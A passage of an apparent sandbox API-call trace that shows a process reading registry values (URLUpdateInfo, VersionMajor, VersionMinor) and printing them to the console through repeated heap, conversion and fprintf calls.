lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.134] GetConsoleOutputCP () returned 0x1b5 [0150.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.135] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.135] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.135] __iob_func () returned 0x7fefd702a80 [0150.135] _fileno (_File=0x7fefd702ab0) returned 1 [0150.135] _errno () returned 0x204bb0 [0150.135] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.135] _errno () returned 0x204bb0 [0150.135] GetFileType (hFile=0x50) returned 0x1 [0150.135] lstrlenW (lpString="") returned 0 [0150.135] __iob_func () returned 0x7fefd702a80 [0150.135] _fileno (_File=0x7fefd702ab0) returned 1 [0150.135] _errno () returned 0x204bb0 [0150.135] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.135] _errno () returned 0x204bb0 [0150.135] GetFileType (hFile=0x50) returned 0x1 [0150.135] lstrlenW (lpString="\n") returned 1 [0150.135] GetConsoleOutputCP () returned 0x1b5 [0150.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.135] GetConsoleOutputCP () returned 0x1b5 [0150.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.135] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.135] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.136] GetProcessHeap () returned 0x3c0000 [0150.136] GetProcessHeap () returned 0x3c0000 [0150.136] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.136] GetProcessHeap () returned 0x3c0000 [0150.136] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.136] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.136] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.136] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.136] GetProcessHeap () returned 0x3c0000 [0150.136] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.136] GetProcessHeap () returned 0x3c0000 [0150.136] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.136] GetProcessHeap () returned 0x3c0000 [0150.136] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.136] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.136] __iob_func () returned 0x7fefd702a80 [0150.136] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.136] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.136] _fileno (_File=0x7fefd702ab0) returned 1 [0150.136] _errno () returned 0x204bb0 [0150.136] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.136] _errno () returned 0x204bb0 [0150.136] GetFileType (hFile=0x50) returned 0x1 [0150.136] lstrlenW (lpString=" ") returned 4 [0150.136] GetConsoleOutputCP () returned 0x1b5 [0150.136] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.136] GetConsoleOutputCP () returned 0x1b5 [0150.137] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.137] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.137] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.137] lstrlenW (lpString="URLUpdateInfo") returned 13 [0150.137] __iob_func () returned 0x7fefd702a80 [0150.137] _fileno (_File=0x7fefd702ab0) returned 1 [0150.137] _errno () returned 0x204bb0 [0150.137] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.137] _errno () returned 0x204bb0 [0150.137] GetFileType (hFile=0x50) returned 0x1 [0150.137] lstrlenW (lpString="URLUpdateInfo") returned 13 [0150.137] GetConsoleOutputCP () returned 0x1b5 [0150.137] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.137] GetConsoleOutputCP () returned 0x1b5 [0150.137] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0150.137] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.137] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.137] __iob_func () returned 0x7fefd702a80 [0150.137] _fileno (_File=0x7fefd702ab0) returned 1 [0150.137] _errno () returned 0x204bb0 [0150.137] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.137] _errno () returned 0x204bb0 [0150.137] GetFileType (hFile=0x50) returned 0x1 [0150.137] lstrlenW (lpString=" ") returned 4 [0150.138] GetConsoleOutputCP () returned 0x1b5 [0150.138] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.138] GetConsoleOutputCP () returned 0x1b5 [0150.138] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.138] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.138] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.138] __iob_func () returned 0x7fefd702a80 [0150.138] _fileno (_File=0x7fefd702ab0) returned 1 [0150.138] _errno () returned 0x204bb0 [0150.138] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.138] _errno () returned 0x204bb0 [0150.138] GetFileType (hFile=0x50) returned 0x1 [0150.138] lstrlenW (lpString="REG_SZ") returned 6 [0150.138] GetConsoleOutputCP () returned 0x1b5 [0150.138] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.138] GetConsoleOutputCP () returned 0x1b5 [0150.138] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.138] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.138] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.139] __iob_func () returned 0x7fefd702a80 [0150.139] _fileno (_File=0x7fefd702ab0) returned 1 [0150.139] _errno () returned 0x204bb0 [0150.139] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.139] _errno () returned 0x204bb0 [0150.139] GetFileType (hFile=0x50) returned 0x1 [0150.139] lstrlenW (lpString=" ") returned 4 [0150.139] GetConsoleOutputCP () returned 0x1b5 [0150.139] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.139] GetConsoleOutputCP () returned 0x1b5 [0150.139] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.139] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.139] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.139] __iob_func () returned 0x7fefd702a80 [0150.139] _fileno (_File=0x7fefd702ab0) returned 1 [0150.139] _errno () returned 0x204bb0 [0150.139] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.139] _errno () returned 0x204bb0 [0150.139] GetFileType (hFile=0x50) returned 0x1 [0150.139] lstrlenW (lpString="") returned 0 [0150.139] __iob_func () returned 0x7fefd702a80 [0150.139] _fileno (_File=0x7fefd702ab0) returned 1 [0150.139] _errno () returned 0x204bb0 [0150.139] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.139] _errno () returned 0x204bb0 [0150.139] GetFileType (hFile=0x50) returned 0x1 [0150.139] lstrlenW (lpString="\n") returned 1 [0150.139] GetConsoleOutputCP () returned 0x1b5 [0150.140] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.140] GetConsoleOutputCP () returned 0x1b5 [0150.140] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.140] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.140] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.140] GetProcessHeap () returned 0x3c0000 [0150.140] GetProcessHeap () returned 0x3c0000 [0150.140] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.140] GetProcessHeap () returned 0x3c0000 [0150.140] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.140] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.140] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.140] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.140] GetProcessHeap () returned 0x3c0000 [0150.140] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.140] GetProcessHeap () returned 0x3c0000 [0150.140] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.140] GetProcessHeap () returned 0x3c0000 [0150.140] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.140] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x8, pcbData=0x29f780*=0x4) returned 0x0 [0150.140] __iob_func () returned 0x7fefd702a80 [0150.140] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.140] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.140] _fileno (_File=0x7fefd702ab0) returned 1 [0150.140] _errno () returned 0x204bb0 [0150.140] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.141] _errno () returned 0x204bb0 [0150.141] GetFileType (hFile=0x50) returned 0x1 [0150.141] lstrlenW (lpString=" ") returned 4 [0150.141] GetConsoleOutputCP () returned 0x1b5 [0150.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.141] GetConsoleOutputCP () returned 0x1b5 [0150.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.141] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.141] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.141] lstrlenW (lpString="VersionMajor") returned 12 [0150.141] __iob_func () returned 0x7fefd702a80 [0150.141] _fileno (_File=0x7fefd702ab0) returned 1 [0150.141] _errno () returned 0x204bb0 [0150.141] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.141] _errno () returned 0x204bb0 [0150.141] GetFileType (hFile=0x50) returned 0x1 [0150.141] lstrlenW (lpString="VersionMajor") returned 12 [0150.141] GetConsoleOutputCP () returned 0x1b5 [0150.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.141] GetConsoleOutputCP () returned 0x1b5 [0150.142] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0150.142] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.142] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.142] __iob_func () returned 0x7fefd702a80 [0150.142] _fileno (_File=0x7fefd702ab0) returned 1 [0150.142] _errno () returned 0x204bb0 [0150.142] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.142] _errno () returned 0x204bb0 [0150.142] GetFileType (hFile=0x50) returned 0x1 [0150.142] lstrlenW (lpString=" ") returned 4 [0150.142] GetConsoleOutputCP () returned 0x1b5 [0150.142] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.142] GetConsoleOutputCP () returned 0x1b5 [0150.142] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.142] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.142] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.142] __iob_func () returned 0x7fefd702a80 [0150.142] _fileno (_File=0x7fefd702ab0) returned 1 [0150.142] _errno () returned 0x204bb0 [0150.142] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.142] _errno () returned 0x204bb0 [0150.142] GetFileType (hFile=0x50) returned 0x1 [0150.142] lstrlenW (lpString="REG_DWORD") returned 9 [0150.142] GetConsoleOutputCP () returned 0x1b5 [0150.143] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.143] GetConsoleOutputCP () returned 0x1b5 [0150.143] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.143] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.143] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.143] __iob_func () returned 0x7fefd702a80 [0150.143] _fileno (_File=0x7fefd702ab0) returned 1 [0150.143] _errno () returned 0x204bb0 [0150.143] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.143] _errno () returned 0x204bb0 [0150.143] GetFileType (hFile=0x50) returned 0x1 [0150.143] lstrlenW (lpString=" ") returned 4 [0150.143] GetConsoleOutputCP () returned 0x1b5 [0150.143] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.143] GetConsoleOutputCP () returned 0x1b5 [0150.143] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.143] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.143] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.143] __iob_func () returned 0x7fefd702a80 [0150.143] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.144] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x8") returned 3 [0150.144] _fileno (_File=0x7fefd702ab0) returned 1 [0150.144] _errno () returned 0x204bb0 [0150.144] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.144] _errno () returned 0x204bb0 [0150.144] GetFileType (hFile=0x50) returned 0x1 [0150.144] lstrlenW (lpString="0x8") returned 3 [0150.144] GetConsoleOutputCP () returned 0x1b5 [0150.144] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x8", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.144] GetConsoleOutputCP () returned 0x1b5 [0150.144] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x8", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x8", lpUsedDefaultChar=0x0) returned 3 [0150.144] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.144] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.144] __iob_func () returned 0x7fefd702a80 [0150.144] _fileno (_File=0x7fefd702ab0) returned 1 [0150.144] _errno () returned 0x204bb0 [0150.144] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.144] _errno () returned 0x204bb0 [0150.144] GetFileType (hFile=0x50) returned 0x1 [0150.144] lstrlenW (lpString="\n") returned 1 [0150.144] GetConsoleOutputCP () returned 0x1b5 [0150.144] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.144] GetConsoleOutputCP () returned 0x1b5 [0150.145] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.145] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.145] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.145] GetProcessHeap () returned 0x3c0000 [0150.145] GetProcessHeap () returned 0x3c0000 [0150.145] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.145] GetProcessHeap () returned 0x3c0000 [0150.145] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.145] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.145] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.145] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.145] GetProcessHeap () returned 0x3c0000 [0150.145] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.145] GetProcessHeap () returned 0x3c0000 [0150.145] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.145] GetProcessHeap () returned 0x3c0000 [0150.145] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.145] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.145] __iob_func () returned 0x7fefd702a80 [0150.145] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.145] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.145] _fileno (_File=0x7fefd702ab0) returned 1 [0150.145] _errno () returned 0x204bb0 [0150.145] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.145] _errno () returned 0x204bb0 [0150.145] GetFileType (hFile=0x50) returned 0x1 [0150.145] lstrlenW (lpString=" ") returned 4 [0150.145] GetConsoleOutputCP () returned 0x1b5 [0150.146] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.146] GetConsoleOutputCP () returned 0x1b5 [0150.146] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.146] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.146] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.146] lstrlenW (lpString="VersionMinor") returned 12 [0150.146] __iob_func () returned 0x7fefd702a80 [0150.146] _fileno (_File=0x7fefd702ab0) returned 1 [0150.146] _errno () returned 0x204bb0 [0150.146] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.146] _errno () returned 0x204bb0 [0150.146] GetFileType (hFile=0x50) returned 0x1 [0150.146] lstrlenW (lpString="VersionMinor") returned 12 [0150.146] GetConsoleOutputCP () returned 0x1b5 [0150.146] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.146] GetConsoleOutputCP () returned 0x1b5 [0150.146] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0150.146] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.146] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.146] __iob_func () returned 0x7fefd702a80 [0150.147] _fileno (_File=0x7fefd702ab0) returned 1 [0150.147] _errno () returned 0x204bb0 [0150.147] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.147] _errno () returned 0x204bb0 [0150.147] GetFileType (hFile=0x50) returned 0x1 [0150.147] lstrlenW (lpString=" ") returned 4 [0150.147] GetConsoleOutputCP () returned 0x1b5 [0150.147] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.147] GetConsoleOutputCP () returned 0x1b5 [0150.147] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, 